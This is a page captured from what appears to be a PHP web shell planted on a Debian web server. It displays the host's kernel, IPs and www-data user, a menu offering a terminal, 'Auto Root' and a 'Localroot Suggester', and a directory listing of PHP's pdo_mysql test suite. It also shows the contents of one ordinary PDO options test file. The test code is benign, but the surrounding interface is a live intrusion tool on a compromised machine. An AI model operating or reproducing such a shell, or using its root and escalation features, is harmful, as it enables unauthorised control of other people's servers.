Linux vps-61133.fhnet.fr 4.9.0-19-amd64 #1 SMP Debian 4.9.320-2 (2022-06-30) x86_64
Apache/2.4.25 (Debian)
Server IP : 93.113.207.21 & Your IP : 216.73.216.112
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
src /
php-7.4.33 /
ext /
pdo_mysql /
tests /
Delete
Unzip
Name
Size
Permission
Date
Action
CONFLICTS
6
B
-rw-rw-r--
2022-10-31 11:36
PDO_getAvaliableDrivers.phpt
344
B
-rw-rw-r--
2022-10-31 11:36
README.md
725
B
-rw-rw-r--
2022-10-31 11:36
bug41125.phpt
4.46
KB
-rw-rw-r--
2022-10-31 11:36
bug44327.phpt
1.53
KB
-rw-rw-r--
2022-10-31 11:36
bug46292.phpt
1.82
KB
-rw-rw-r--
2022-10-31 11:36
bug53551.phpt
1.61
KB
-rw-rw-r--
2022-10-31 11:36
bug53782.phpt
874
B
-rw-rw-r--
2022-10-31 11:36
bug54929.phpt
1.65
KB
-rw-rw-r--
2022-10-31 11:36
bug63176.phpt
1.12
KB
-rw-rw-r--
2022-10-31 11:36
bug63185.phpt
1.62
KB
-rw-rw-r--
2022-10-31 11:36
bug66141.phpt
1.24
KB
-rw-rw-r--
2022-10-31 11:36
bug66528.phpt
2.09
KB
-rw-rw-r--
2022-10-31 11:36
bug68371.phpt
2.21
KB
-rw-rw-r--
2022-10-31 11:36
bug70066.phpt
798
B
-rw-rw-r--
2022-10-31 11:36
bug70272.phpt
644
B
-rw-rw-r--
2022-10-31 11:36
bug70389.phpt
670
B
-rw-rw-r--
2022-10-31 11:36
bug70862.phpt
1.16
KB
-rw-rw-r--
2022-10-31 11:36
bug71145.phpt
688
B
-rw-rw-r--
2022-10-31 11:36
bug71569.phpt
546
B
-rw-rw-r--
2022-10-31 11:36
bug75177.phpt
832
B
-rw-rw-r--
2022-10-31 11:36
bug76815.phpt
969
B
-rw-rw-r--
2022-10-31 11:36
bug77289.phpt
657
B
-rw-rw-r--
2022-10-31 11:36
bug78152.phpt
1.12
KB
-rw-rw-r--
2022-10-31 11:36
bug79375.phpt
3.3
KB
-rw-rw-r--
2022-10-31 11:36
bug79596.phpt
894
B
-rw-rw-r--
2022-10-31 11:36
bug80458.phpt
4.23
KB
-rw-rw-r--
2022-10-31 11:36
bug81037.phpt
1.02
KB
-rw-rw-r--
2022-10-31 11:36
bug_33689.phpt
1.47
KB
-rw-rw-r--
2022-10-31 11:36
bug_37445.phpt
694
B
-rw-rw-r--
2022-10-31 11:36
bug_38546.phpt
6.12
KB
-rw-rw-r--
2022-10-31 11:36
bug_39483.phpt
714
B
-rw-rw-r--
2022-10-31 11:36
bug_39858.phpt
2.29
KB
-rw-rw-r--
2022-10-31 11:36
bug_41125.phpt
1.69
KB
-rw-rw-r--
2022-10-31 11:36
bug_41698.phpt
988
B
-rw-rw-r--
2022-10-31 11:36
bug_41997.phpt
1.56
KB
-rw-rw-r--
2022-10-31 11:36
bug_42499.phpt
2.79
KB
-rw-rw-r--
2022-10-31 11:36
bug_43371.phpt
476
B
-rw-rw-r--
2022-10-31 11:36
bug_44454.phpt
2.88
KB
-rw-rw-r--
2022-10-31 11:36
bug_44707.phpt
2.46
KB
-rw-rw-r--
2022-10-31 11:36
bug_45120.phpt
1.3
KB
-rw-rw-r--
2022-10-31 11:36
bug_50323.phpt
1.64
KB
-rw-rw-r--
2022-10-31 11:36
bug_51670.phpt
689
B
-rw-rw-r--
2022-10-31 11:36
bug_61207.phpt
2.38
KB
-rw-rw-r--
2022-10-31 11:36
bug_61411.phpt
1.32
KB
-rw-rw-r--
2022-10-31 11:36
bug_61755.phpt
1
KB
-rw-rw-r--
2022-10-31 11:36
bug_64705.phpt
427
B
-rw-rw-r--
2022-10-31 11:36
bug_74376.phpt
859
B
-rw-rw-r--
2022-10-31 11:36
bug_pecl_12925.phpt
1.38
KB
-rw-rw-r--
2022-10-31 11:36
bug_pecl_7976.phpt
2.05
KB
-rw-rw-r--
2022-10-31 11:36
common.phpt
794
B
-rw-rw-r--
2022-10-31 11:36
config.inc
2.23
KB
-rw-rw-r--
2022-10-31 11:36
last_insert_id.phpt
934
B
-rw-rw-r--
2022-10-31 11:36
mysql_pdo_test.inc
4.44
KB
-rw-rw-r--
2022-10-31 11:36
pdo_mysql___construct.phpt
11.09
KB
-rw-rw-r--
2022-10-31 11:36
pdo_mysql___construct_ini.phpt
1.38
KB
-rw-rw-r--
2022-10-31 11:36
pdo_mysql___construct_options.phpt
7.71
KB
-rw-rw-r--
2022-10-31 11:36
pdo_mysql___construct_options_libmysql.phpt
3.09
KB
-rw-rw-r--
2022-10-31 11:36
pdo_mysql___construct_uri.phpt
2.13
KB
-rw-rw-r--
2022-10-31 11:36
pdo_mysql_attr_autocommit.phpt
3.47
KB
-rw-rw-r--
2022-10-31 11:36
pdo_mysql_attr_case.phpt
5.1
KB
-rw-rw-r--
2022-10-31 11:36
pdo_mysql_attr_client_version.phpt
1.13
KB
-rw-rw-r--
2022-10-31 11:36
pdo_mysql_attr_connection_status.phpt
939
B
-rw-rw-r--
2022-10-31 11:36
pdo_mysql_attr_driver_name.phpt
830
B
-rw-rw-r--
2022-10-31 11:36
pdo_mysql_attr_errmode.phpt
5.41
KB
-rw-rw-r--
2022-10-31 11:36
pdo_mysql_attr_fetch_table_names.phpt
900
B
-rw-rw-r--
2022-10-31 11:36
pdo_mysql_attr_init_command.phpt
1.17
KB
-rw-rw-r--
2022-10-31 11:36
pdo_mysql_attr_max_buffer_size.phpt
2.14
KB
-rw-rw-r--
2022-10-31 11:36
pdo_mysql_attr_multi_statements.phpt
2.21
KB
-rw-rw-r--
2022-10-31 11:36
pdo_mysql_attr_oracle_nulls.phpt
3.22
KB
-rw-rw-r--
2022-10-31 11:36
pdo_mysql_attr_prefetch.phpt
651
B
-rw-rw-r--
2022-10-31 11:36
pdo_mysql_attr_server_info.phpt
1.63
KB
-rw-rw-r--
2022-10-31 11:36
pdo_mysql_attr_server_version.phpt
2.46
KB
-rw-rw-r--
2022-10-31 11:36
pdo_mysql_attr_statement_class.phpt
5.26
KB
-rw-rw-r--
2022-10-31 11:36
pdo_mysql_begintransaction.phpt
7.29
KB
-rw-rw-r--
2022-10-31 11:36
pdo_mysql_bit.phpt
1.76
KB
-rw-rw-r--
2022-10-31 11:36
pdo_mysql_class_constants.phpt
2.98
KB
-rw-rw-r--
2022-10-31 11:36
pdo_mysql_commit.phpt
3.2
KB
-rw-rw-r--
2022-10-31 11:36
pdo_mysql_connect_attr.phpt
1.9
KB
-rw-rw-r--
2022-10-31 11:36
pdo_mysql_connect_charset.phpt
1.08
KB
-rw-rw-r--
2022-10-31 11:36
pdo_mysql_errorcode.phpt
2.22
KB
-rw-rw-r--
2022-10-31 11:36
pdo_mysql_errorinfo.phpt
3.25
KB
-rw-rw-r--
2022-10-31 11:36
pdo_mysql_exec.phpt
7.25
KB
-rw-rw-r--
2022-10-31 11:36
pdo_mysql_exec_ddl.phpt
2.78
KB
-rw-rw-r--
2022-10-31 11:36
pdo_mysql_exec_load_data.phpt
3.6
KB
-rw-rw-r--
2022-10-31 11:36
pdo_mysql_exec_select.phpt
2.57
KB
-rw-rw-r--
2022-10-31 11:36
pdo_mysql_fetch_both.phpt
1.74
KB
-rw-rw-r--
2022-10-31 11:36
pdo_mysql_get_attribute.phpt
2.82
KB
-rw-rw-r--
2022-10-31 11:36
pdo_mysql_interface.phpt
1.45
KB
-rw-rw-r--
2022-10-31 11:36
pdo_mysql_last_insert_id.phpt
4.2
KB
-rw-rw-r--
2022-10-31 11:36
pdo_mysql_local_infile_default_off.phpt
668
B
-rw-rw-r--
2022-10-31 11:36
pdo_mysql_local_infile_set_on.phpt
693
B
-rw-rw-r--
2022-10-31 11:36
pdo_mysql_multi_stmt_nextrowset.phpt
4.98
KB
-rw-rw-r--
2022-10-31 11:36
pdo_mysql_param_str_natl.phpt
1.04
KB
-rw-rw-r--
2022-10-31 11:36
pdo_mysql_pconnect.phpt
3.23
KB
-rw-rw-r--
2022-10-31 11:36
pdo_mysql_phpinfo.phpt
738
B
-rw-rw-r--
2022-10-31 11:36
pdo_mysql_prepare_emulated.phpt
13.92
KB
-rw-rw-r--
2022-10-31 11:36
pdo_mysql_prepare_emulated_anonymous.phpt
2.5
KB
-rw-rw-r--
2022-10-31 11:36
pdo_mysql_prepare_emulated_placeholder_everywhere.phpt
2.67
KB
-rw-rw-r--
2022-10-31 11:36
pdo_mysql_prepare_match_against.phpt
1.42
KB
-rw-rw-r--
2022-10-31 11:36
pdo_mysql_prepare_native.phpt
12.8
KB
-rw-rw-r--
2022-10-31 11:36
pdo_mysql_prepare_native_clear_error.phpt
3.31
KB
-rw-rw-r--
2022-10-31 11:36
pdo_mysql_prepare_native_column.phpt
1.28
KB
-rw-rw-r--
2022-10-31 11:36
pdo_mysql_prepare_native_dup_named_placeholder.phpt
4.11
KB
-rw-rw-r--
2022-10-31 11:36
pdo_mysql_prepare_native_mixed_style.phpt
1.39
KB
-rw-rw-r--
2022-10-31 11:36
pdo_mysql_prepare_native_named_placeholder.phpt
2.8
KB
-rw-rw-r--
2022-10-31 11:36
pdo_mysql_prepare_native_placeholder_everywhere.phpt
2.59
KB
-rw-rw-r--
2022-10-31 11:36
pdo_mysql_quote.phpt
1.07
KB
-rw-rw-r--
2022-10-31 11:36
pdo_mysql_rollback.phpt
2.78
KB
-rw-rw-r--
2022-10-31 11:36
pdo_mysql_stmt_bindcolumn.phpt
4.05
KB
-rw-rw-r--
2022-10-31 11:36
pdo_mysql_stmt_bindparam.phpt
5.19
KB
-rw-rw-r--
2022-10-31 11:36
pdo_mysql_stmt_bindparam_types.phpt
7.46
KB
-rw-rw-r--
2022-10-31 11:36
pdo_mysql_stmt_bindvalue.phpt
11.76
KB
-rw-rw-r--
2022-10-31 11:36
pdo_mysql_stmt_blobfromsteam.phpt
3.94
KB
-rw-rw-r--
2022-10-31 11:36
pdo_mysql_stmt_blobs.phpt
2.63
KB
-rw-rw-r--
2022-10-31 11:36
pdo_mysql_stmt_closecursor.phpt
6.9
KB
-rw-rw-r--
2022-10-31 11:36
pdo_mysql_stmt_closecursor_empty.phpt
2.18
KB
-rw-rw-r--
2022-10-31 11:36
pdo_mysql_stmt_columncount.phpt
1.91
KB
-rw-rw-r--
2022-10-31 11:36
pdo_mysql_stmt_errorcode.phpt
1.88
KB
-rw-rw-r--
2022-10-31 11:36
pdo_mysql_stmt_errorinfo.phpt
3.19
KB
-rw-rw-r--
2022-10-31 11:36
pdo_mysql_stmt_fetch_non_select.phpt
6.05
KB
-rw-rw-r--
2022-10-31 11:36
pdo_mysql_stmt_fetch_serialize.phpt
4.19
KB
-rw-rw-r--
2022-10-31 11:36
pdo_mysql_stmt_fetch_serialize_simple.phpt
2.96
KB
-rw-rw-r--
2022-10-31 11:36
pdo_mysql_stmt_fetchobject.phpt
2.68
KB
-rw-rw-r--
2022-10-31 11:36
pdo_mysql_stmt_getcolumnmeta.phpt
12.94
KB
-rw-rw-r--
2022-10-31 11:36
pdo_mysql_stmt_multiquery.phpt
2.47
KB
-rw-rw-r--
2022-10-31 11:36
pdo_mysql_stmt_nextrowset.phpt
5.75
KB
-rw-rw-r--
2022-10-31 11:36
pdo_mysql_stmt_rowcount.phpt
933
B
-rw-rw-r--
2022-10-31 11:36
pdo_mysql_stmt_unbuffered_2050.phpt
4.77
KB
-rw-rw-r--
2022-10-31 11:36
pdo_mysql_stmt_variable_columncount.phpt
4.01
KB
-rw-rw-r--
2022-10-31 11:36
pdo_mysql_subclass.phpt
2.32
KB
-rw-rw-r--
2022-10-31 11:36
pdo_mysql_types.phpt
6.83
KB
-rw-rw-r--
2022-10-31 11:36
pdo_mysql_types_zerofill.phpt
4.37
KB
-rw-rw-r--
2022-10-31 11:36
pecl_bug_5200.phpt
968
B
-rw-rw-r--
2022-10-31 11:36
pecl_bug_5780.phpt
1.5
KB
-rw-rw-r--
2022-10-31 11:36
pecl_bug_5802.phpt
1.33
KB
-rw-rw-r--
2022-10-31 11:36
show_tables.phpt
480
B
-rw-rw-r--
2022-10-31 11:36
skipif.inc
112
B
-rw-rw-r--
2022-10-31 11:36
table.inc
399
B
-rw-rw-r--
2022-10-31 11:36
Save
Rename
--TEST-- MySQL PDO->__construct(), options --SKIPIF-- <?php require_once(__DIR__ . DIRECTORY_SEPARATOR . 'skipif.inc'); require_once(__DIR__ . DIRECTORY_SEPARATOR . 'mysql_pdo_test.inc'); MySQLPDOTest::skip(); ?> --FILE-- <?php require_once(__DIR__ . DIRECTORY_SEPARATOR . 'mysql_pdo_test.inc'); function set_option_and_check($offset, $option, $value, $option_desc) { $dsn = MySQLPDOTest::getDSN(); $user = PDO_MYSQL_TEST_USER; $pass = PDO_MYSQL_TEST_PASS; try { $db = new PDO($dsn, $user, $pass, array($option => $value)); if (!is_object($db) || ($value !== ($tmp = @$db->getAttribute($option)))) printf("[%03d] Expecting '%s'/%s got '%s'/%s' for options '%s'\n", $offset, $value, gettype($value), $tmp, gettype($tmp), $option_desc); } catch (PDOException $e) { printf("[%03d] %s\n", $offset, $e->getMessage()); } } try { $dsn = MySQLPDOTest::getDSN(); $user = PDO_MYSQL_TEST_USER; $pass = PDO_MYSQL_TEST_PASS; $valid_options = array( /* pdo_dbh.c */ PDO::ATTR_PERSISTENT => 'PDO::ATTR_PERSISTENT', PDO::ATTR_AUTOCOMMIT => 'PDO::ATTR_AUTOCOMMIT', /* mysql_driver.c */ /* TODO Possible bug PDO::ATTR_TIMEOUT != MYSQLI_OPT_CONNECT_TIMEOUT*/ PDO::ATTR_TIMEOUT => 'PDO::ATTR_TIMEOUT', PDO::ATTR_EMULATE_PREPARES => 'PDO::ATTR_EMULATE_PREPARES', PDO::MYSQL_ATTR_USE_BUFFERED_QUERY => 'PDO::MYSQL_ATTR_USE_BUFFERED_QUERY', PDO::MYSQL_ATTR_LOCAL_INFILE => 'PDO::MYSQL_ATTR_LOCAL_INFILE', PDO::MYSQL_ATTR_DIRECT_QUERY => 'PDO::MYSQL_ATTR_DIRECT_QUERY', PDO::MYSQL_ATTR_INIT_COMMAND => 'PDO::MYSQL_ATTR_INIT_COMMAND', PDO::ATTR_EMULATE_PREPARES => 'PDO::ATTR_EMULATE_PREPARES', ); $defaults = array( PDO::ATTR_PERSISTENT => false, PDO::ATTR_AUTOCOMMIT => 1, /* TODO - why is this a valid option if getAttribute() does not support it?! */ PDO::ATTR_TIMEOUT => false, PDO::ATTR_EMULATE_PREPARES => 1, PDO::MYSQL_ATTR_USE_BUFFERED_QUERY => 1, /* TODO getAttribute() does not handle it */ PDO::MYSQL_ATTR_LOCAL_INFILE => false, /* TODO getAttribute() does not handle it */ PDO::MYSQL_ATTR_DIRECT_QUERY => 1, PDO::MYSQL_ATTR_INIT_COMMAND => '', ); try { if (NULL !== ($db = @new PDO($dsn, $user, $pass, 'wrong type'))) printf("[001] Expecting NULL got %s/%s\n", gettype($db), $db); } catch (TypeError $e) { } if (!is_object($db = new PDO($dsn, $user, $pass, array()))) printf("[002] Expecting object got %s/%s¸\n", gettype($db), $db); $invalid = 999; if (is_object($db = new PDO($dsn, $user, $pass, array($invalid => true)))) printf("[003] [TODO][CHANGEREQUEST] Please, lets not ignore invalid options and bail out!\n"); $db = new PDO($dsn, $user, $pass); foreach ($valid_options as $option => $name) { /* TODO getAttribute() is pretty poor in supporting the options, suppress errors */ $tmp = @$db->getAttribute($option); if ($tmp !== $defaults[$option]) printf("[003a] Expecting default value for '%s' of '%s'/%s, getAttribute() reports setting '%s'/%s\n", $name, $defaults[$option], gettype($defaults[$option]), $tmp, gettype($tmp)); } $db = new PDO($dsn, $user, $pass, array(PDO::ATTR_AUTOCOMMIT => true)); if (!is_object($db) || !$db->getAttribute(PDO::ATTR_AUTOCOMMIT)) printf("[004] Autocommit should be on\n"); $db = new PDO($dsn, $user, $pass, array(PDO::ATTR_AUTOCOMMIT => false)); if (!is_object($db) || $db->getAttribute(PDO::ATTR_AUTOCOMMIT)) printf("[005] Autocommit should be off\n"); /* TODO: no way to check ATTR_TIMEOUT settings */ if (!is_object($db = new PDO($dsn, $user, $pass, array(PDO::ATTR_TIMEOUT => 10)))) printf("[006] ATTR_TIMEOUT should be accepted\n"); if (!is_object($db = new PDO($dsn, $user, $pass, array(PDO::ATTR_TIMEOUT => PHP_INT_MAX)))) printf("[007] ATTR_TIMEOUT should be accepted\n"); if (!is_object($db = new PDO($dsn, $user, $pass, array(PDO::ATTR_TIMEOUT => -PHP_INT_MAX)))) printf("[008] ATTR_TIMEOUT should be accepted\n"); /* TODO: Its ugly that PDO::ATTR_EMULATE_PREPARES == PDO::MYSQL_ATTR_DIRECT_QUERY */ $db = new PDO($dsn, $user, $pass, array(PDO::ATTR_EMULATE_PREPARES => true)); if (!is_object($db)) printf("[009] ATTR_EMULATE_PREPARES should be accepted and on\n"); if (!$db->getAttribute(PDO::ATTR_EMULATE_PREPARES)) printf("[010] [TODO][CHANGEREQUEST] ATTR_EMULATE_PREPARES should be on\n"); if (!$db->getAttribute(PDO::MYSQL_ATTR_DIRECT_QUERY)) printf("[011] As PDO::MYSQL_ATTR_DIRECT_QUERY == PDO::ATTR_EMULATE_PREPARES and PDO::ATTR_EMULATE_PREPARES overrules the other, PDO::MYSQL_ATTR_DIRECT_QUERY should be on\n"); $db = new PDO($dsn, $user, $pass, array(PDO::ATTR_EMULATE_PREPARES => false)); if (!is_object($db)) printf("[012] ATTR_EMULATE_PREPARES should be accepted and on\n"); if ($db->getAttribute(PDO::ATTR_EMULATE_PREPARES)) printf("[013] [TODO][CHANGEREQUEST] ATTR_EMULATE_PREPARES should be off\n"); if ($db->getAttribute(PDO::MYSQL_ATTR_DIRECT_QUERY)) printf("[014] As PDO::MYSQL_ATTR_DIRECT_QUERY == PDO::ATTR_EMULATE_PREPARES and PDO::ATTR_EMULATE_PREPARES overrules the other, PDO::MYSQL_ATTR_DIRECT_QUERY should be off\n"); // PDO::ATTR_EMULATE_PREPARES overrules PDO::MYSQL_ATTR_DIRECT_QUERY // TODO: is it clever that a generic setting overrules a specific setting? $db = new PDO($dsn, $user, $pass, array(PDO::ATTR_EMULATE_PREPARES => true, PDO::MYSQL_ATTR_DIRECT_QUERY => false)); if (!$db->getAttribute(PDO::ATTR_EMULATE_PREPARES)) printf("[015] PDO::ATTR_EMULATE_PREPARES should be on\n"); if (!$db->getAttribute(PDO::MYSQL_ATTR_DIRECT_QUERY)) printf("[016] PDO::MYSQL_ATTR_DIRECT_QUERY should be on\n"); $db = new PDO($dsn, $user, $pass, array(PDO::ATTR_EMULATE_PREPARES => false, PDO::MYSQL_ATTR_DIRECT_QUERY => true)); if ($db->getAttribute(PDO::ATTR_EMULATE_PREPARES)) printf("[017] PDO::ATTR_EMULATE_PREPARES should be off\n"); if ($db->getAttribute(PDO::MYSQL_ATTR_DIRECT_QUERY)) printf("[018] PDO::MYSQL_ATTR_DIRECT_QUERY should be off\n"); set_option_and_check(19, PDO::MYSQL_ATTR_USE_BUFFERED_QUERY, 1, 'PDO::MYSQL_ATTR_USE_BUFFERED_QUERY'); set_option_and_check(20, PDO::MYSQL_ATTR_USE_BUFFERED_QUERY, 0, 'PDO::MYSQL_ATTR_USE_BUFFERED_QUERY'); set_option_and_check(21, PDO::MYSQL_ATTR_LOCAL_INFILE, true, 'PDO::MYSQL_ATTR_LOCAL_INFILE'); set_option_and_check(22, PDO::MYSQL_ATTR_LOCAL_INFILE, false, 'PDO::MYSQL_ATTR_LOCAL_INFILE'); set_option_and_check(23, PDO::MYSQL_ATTR_INIT_COMMAND, 'SET @a=1', 'PDO::MYSQL_ATTR_INIT_COMMAND'); set_option_and_check(24, PDO::MYSQL_ATTR_INIT_COMMAND, '', 'PDO::MYSQL_ATTR_INIT_COMMAND'); set_option_and_check(25, PDO::MYSQL_ATTR_INIT_COMMAND, 'INSERT INTO nonexistent(invalid) VALUES (1)', 'PDO::MYSQL_ATTR_INIT_COMMAND'); set_option_and_check(33, PDO::MYSQL_ATTR_DIRECT_QUERY, 1, 'PDO::MYSQL_ATTR_DIRECT_QUERY'); set_option_and_check(34, PDO::MYSQL_ATTR_DIRECT_QUERY, 0, 'PDO::MYSQL_ATTR_DIRECT_QUERY'); } catch (PDOException $e) { printf("[001] %s, [%s] %s\n", $e->getMessage(), (is_object($db)) ? $db->errorCode() : 'n/a', (is_object($db)) ? implode(' ', $db->errorInfo()) : 'n/a'); } print "done!"; ?> --EXPECTF-- [003] [TODO][CHANGEREQUEST] Please, lets not ignore invalid options and bail out! [003a] Expecting default value for 'PDO::MYSQL_ATTR_INIT_COMMAND' of ''/string, getAttribute() reports setting ''/boolean [015] PDO::ATTR_EMULATE_PREPARES should be on [016] PDO::MYSQL_ATTR_DIRECT_QUERY should be on [017] PDO::ATTR_EMULATE_PREPARES should be off [018] PDO::MYSQL_ATTR_DIRECT_QUERY should be off [023] Expecting 'SET @a=1'/string got ''/boolean' for options 'PDO::MYSQL_ATTR_INIT_COMMAND' [024] SQLSTATE[42000] [1065] Query was empty [025] SQLSTATE[42S02] [1146] Table '%s.nonexistent' doesn't exist done!